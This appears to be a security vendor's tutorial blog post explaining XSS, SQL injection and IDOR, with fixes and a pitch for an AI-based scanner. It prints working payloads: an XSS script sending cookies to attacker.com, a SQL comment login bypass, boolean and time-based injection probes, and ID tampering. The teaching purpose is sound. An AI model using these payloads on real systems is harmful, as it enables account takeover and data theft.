XSS, SQL Injection, and IDOR: How Attackers Exploit Them and How to Fix Them
A technical deep-dive into the three most common web vulnerabilities — XSS, SQL injection, and IDOR — with real attack examples, detection techniques, and step-by-step remediation.
XSS, SQL Injection, and IDOR: How Attackers Exploit Them and How to Fix Them
Three vulnerabilities — cross-site scripting (XSS), SQL injection (SQLi), and insecure direct object reference (IDOR) — appear in the majority of web application security assessments. Understanding them at a technical level is the foundation of building defensible software.
Cross-Site Scripting (XSS)
What Is XSS?
Cross-site scripting occurs when an application includes untrusted data in a web page without proper escaping, allowing attackers to execute scripts in the victim's browser. The attacker doesn't attack the server — they use the server to attack the user.
There are three types:
Reflected XSS: The malicious script comes from the current HTTP request. The attacker sends the victim a crafted URL; the server reflects the payload in the response.
Stored XSS: The malicious script is stored on the server (in a database, comment, profile field, etc.) and served to all users who view that content.
DOM-based XSS: The attack happens entirely in the browser. JavaScript reads attacker-controlled data from the DOM (e.g., location.hash) and writes it to the page unsafely.
How an XSS Attack Works
Take a search page that renders:
You searched for: [your query here]
If the query is <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> and the server echoes it without escaping, every user who loads that URL sends their session cookie to the attacker's server. The attacker replays the cookie and is now authenticated as that user.
More sophisticated attacks use XSS to:
- Capture keystrokes (credential harvesting)
- Redirect users to phishing pages
- Make API calls as the victim (CSRF-like attacks without needing a CSRF vulnerability)
- Inject a fake login form and exfiltrate the typed password
How to Detect XSS
Manual testing: inject "><svg onload=alert(1)> into every input, URL parameter, HTTP header, and cookie. Check if the payload appears unescaped in the response.
Automated scanning: AI Vulnerability Scanner tests every discovered input for XSS reflection and checks whether the response renders the payload without encoding.
How to Fix XSS
1. Output encoding. Encode all user-supplied data before inserting it into HTML, JavaScript, CSS, or URLs. In React, this is automatic for JSX; in template engines, use auto-escaping (it's on by default in Jinja2, Handlebars, etc. — don't disable it).
2. Content Security Policy (CSP). A strong CSP prevents inline scripts from running even if XSS is present:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'
3. Input validation. Reject input that doesn't conform to expected formats. A phone number field should not accept <script>.
4. HttpOnly cookies. Marking session cookies HttpOnly prevents JavaScript from reading them, limiting XSS impact.
SQL Injection (SQLi)
What Is SQL Injection?
SQL injection occurs when user-supplied data is included in a database query without parameterization, allowing attackers to modify the query's logic.
How a SQL Injection Attack Works
Consider a login query built with string concatenation:
query = "SELECT * FROM users WHERE email = '" + email + "' AND password = '" + password + "'"
An attacker supplies:
- Email:
anything@example.com' -- - Password:
anything
The resulting query is:
SELECT * FROM users WHERE email = 'anything@example.com' --' AND password = 'anything'
The -- is a SQL comment. Everything after it is ignored, including the password check. The attacker authenticates as any user whose email they know.
Types of SQL Injection
Classic (in-band): Results are returned directly in the HTTP response. Easy to detect and exploit.
Blind (boolean-based): The query results aren't shown, but behavior changes based on whether a condition is true. Attackers ask yes/no questions: "Is the first character of the admin password between 'a' and 'm'?"
Blind (time-based): The database pauses for a specified duration if a condition is true. Attackers exfiltrate data by measuring response times.
Out-of-band: The database makes a DNS or HTTP request to an attacker-controlled server. Used when other techniques don't work.
How to Detect SQL Injection
Manual testing: append ' to every input. If you see a database error (syntax error near '), you found a SQLi candidate. Then test with payloads like ' OR 1=1 -- and ' AND SLEEP(5) --.
For blind injection, the test is behavioral: does the page respond differently to ' AND 1=1 -- (true condition) vs. ' AND 1=2 -- (false condition)?
How to Fix SQL Injection
1. Parameterized queries (prepared statements). This is the complete fix. Never concatenate user input into SQL.
# Vulnerable
query = f"SELECT * FROM users WHERE email = '{email}'"
# Fixed
cursor.execute("SELECT * FROM users WHERE email = %s", (email,))
// Vulnerable
db.query(`SELECT * FROM users WHERE email = '${email}'`)
// Fixed
db.query('SELECT * FROM users WHERE email = $1', [email])
2. Use an ORM. ORMs like Prisma, Sequelize, and SQLAlchemy use parameterization by default. Raw query escape hatches ($queryRaw, literal()) should be used with care.
3. Least-privilege database accounts. The application's database user should have only the permissions it needs. A read-heavy app doesn't need DROP TABLE permission.
4. Web Application Firewall (WAF). A WAF can block obvious SQLi payloads as a defense-in-depth measure, but it's not a substitute for parameterized queries.
Insecure Direct Object Reference (IDOR)
What Is IDOR?
IDOR (now classified under Broken Object-Level Authorization, or BOLA) occurs when an application uses a user-supplied identifier to access an object directly, without verifying that the requesting user is authorized to access that specific object.
How an IDOR Attack Works
An application shows a user their invoice at:
GET /api/invoices/7823
The attacker changes 7823 to 7824:
GET /api/invoices/7824
If the server returns the next user's invoice without checking whether the current user owns invoice 7824, that's an IDOR vulnerability.
Real-world IDOR targets include:
- Profile photos (
/users/123/photo) - Messages (
/messages/456) - Account statements (
/statements?account=789) - API responses containing nested user IDs that can be substituted
Why IDOR Is Hard to Find with Traditional Scanners
IDOR requires understanding the application's data model. A scanner needs to know:
- That
7823is an invoice ID, not a page number - That invoice 7823 belongs to user A, not user B
- That accessing it as user B is unauthorized
Traditional scanners don't understand application semantics — they just fire payloads and look for known error patterns. AI scanners recognize resource ID patterns, flag them as IDOR candidates, and can test substitution in active probe mode.
How to Detect IDOR
With one account: Look for any numeric or GUID identifiers in URLs, request bodies, and API responses. Try incrementing/decrementing them. Does the server return data that seems to belong to a different user?
With two accounts: More thorough. Create resources with account A. Log in as account B and try to access those resources using the IDs from account A. The server should return 403, not the resource.
Automated: AI Vulnerability Scanner identifies IDOR candidates during crawling and, in active probe mode, tests whether IDs from one session are accessible in another.
How to Fix IDOR
1. Always verify ownership on the server. Before returning any resource, check that the authenticated user owns or has permission to access it:
// Vulnerable
const invoice = await db.getInvoice(req.params.id)
return invoice
// Fixed
const invoice = await db.getInvoice(req.params.id)
if (invoice.userId !== req.session.userId) {
return res.status(403).json({ error: 'Forbidden' })
}
return invoice
2. Use indirect references where possible. Instead of ?id=7823, use a per-user mapping: ?ref=abc123 that resolves to the correct resource only for that user.
3. Audit your API endpoints. Every endpoint that accepts an ID should have a corresponding authorization check. A security review should explicitly test each one.
How AI Vulnerability Scanner Automates Detection of All Three
AI Vulnerability Scanner's AI-powered scanner checks for XSS, SQLi, and IDOR in every scan:
| Vulnerability | Detection Method |
|---|---|
| XSS | Tests all inputs for reflection; checks CSP headers; identifies innerHTML-style DOM insertion |
| SQL Injection | Error-based, boolean-blind, and time-based testing of all inputs |
| IDOR | Identifies resource ID patterns; flags endpoints for review; tests ID substitution in active probe mode |
Every finding includes severity, a description of the exploit, a proof-of-concept, and a recommended fix — enough for a developer to understand and remediate the issue without security expertise.
Run a free vulnerability scan →
AI Vulnerability Scanner runs on Claude AI models from Anthropic. Model choice (Haiku for speed, Sonnet for depth) lets you balance cost and coverage for each scan.